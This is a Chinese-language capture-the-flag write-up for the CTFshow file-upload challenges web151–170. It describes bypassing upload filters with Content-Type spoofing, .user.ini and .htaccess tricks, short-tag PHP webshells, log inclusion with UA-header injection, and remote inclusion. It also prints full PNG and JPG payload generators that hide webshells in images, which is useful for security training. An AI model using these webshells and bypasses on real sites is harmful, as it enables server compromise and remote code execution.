CTFshow-文件上传-web151-170

发布于 2023-03-21  293 次阅读


web 151

前端验证不可靠

可以通过更改源代码进行绕过

lay-data="{url: 'upload.php', accept: 'images',exts:'png'}

exts:'png'更改成php就可以成功上传

web 152

后端验证文件内容

修改Content-Type: image/png

web 153

对文件名后缀进行检验

先上传.user.ini文件,

auto_append_file=1.txt

将文件1.txt包含到upload目录

再写入一句话到1.txt,就可以被解析

web 154

对文件内容和文件类型进行检测

对文件内容当中的php关键字进行了过滤

可以使用短标签进行绕过

<?=eval($_POST['ord']);?> 
<?=(表达式)?>  等价于 <?php echo (表达式)?>  #不需要开启参数设置
<? echo '123';?>  #前提是开启配置参数short_open_tags=on
<% echo '123';%>   #开启配置参数asp_tags=on,并且只能在7.0以下版本使用
<script language="php">echo '123'; </script> #不需要修改参数开关,但是只能在7.0以下可用。

web 155

<?=eval($_POST['ord']);?> 

仍然还是php段标签绕过检测

web 156

经过测试,将[]进行了过滤,可以使用大括号{}进行替换

web 157

大括号也被过滤,分号也被过滤

<?=eval(array_pop($_POST))?> 

可以使用数组的相关方法,替换写法进行绕过

web 158

<?=eval(array_pop($_POST))?> 

web 159

又增加过滤了()

利用日志包含

先将日志包含到upload目录

然后通过对日志进行写入一句话从而达到上传shell

<?=include '/var/lo'.'g/nginx/access.l'.'og'?>

web 160

过滤了空格

尝试更换成tab

成功包含

<?=include   '/var/lo'.'g/nginx/access.l'.'og'?>
ord=eval(system('tac ../flag.php'));

web 161

检测文件头,可以通过伪造文件头绕过

GIF89a

web 162

过滤了 .

.user.ini文件正常上传,

包含文件可以通过包含远程文件避免.的使用,ip可以使用长整型的地址

<?=include   'http://123123123/1'?>

也可以session条件竞争包含

看这个文章 here~~~

web 163

和162一样

web 164

png的二次渲染绕过

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);1

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

这个生成的一句话是

<?=$_GET[0]($_POST[1]);?>

使用就是$_GET[0]是方法名

0=system

$_POST[1]是内容

1=whoami

web 165

考点是jpg的二次渲染绕过

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
    */

    $miniPayload = "<?=eval(\$_POST[1]);?>";

    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

web 166

查看前端代码,发现只能上传zip类型

Content-Type: application/x-zip-compressed

这个参数必须修改成这样

直接将一句话加入到zip内容最后就可以

web 167

.htaccess绕过

AddType application/x-httpd-php .jpg

web 168

基础免杀

上传jpg,但可以抓包修改并上传文件,但并没有对php后缀做过滤,也就是可以直接上传php文件

但是对内容做了过滤,不可以出现eval、post、get等

可以使用变型的一句话

<?=`ls`?>

web 169

高级免杀

允许上传的是zip文件

上传一个zip文件,发现并不能上传成功?

修改一些content头, image/png成功上传

发现可以上传1.php文件,但文件内容不允许出现php关键字,尖括号也不行,问号不行,

分号可以,等于号可以,单双引号,反引号可以,括号可以,点可以

既然尖括号过滤了,那就不能使用php了,可以包含日志试一试

上传.user.ini文件,和1.php文件,

成功包含日志,UA头写入一句话,这种日志包含只可以在日志文件包含ua头信息时可以使用,如果日志信息没有UA,就无法使用日志包含,URL编码也是不可以的

web 170

首先抓包修改Content-Type: image/png

这里反引号` 也不能使用了,括号也不行

看起来还是可以尝试一下日志包含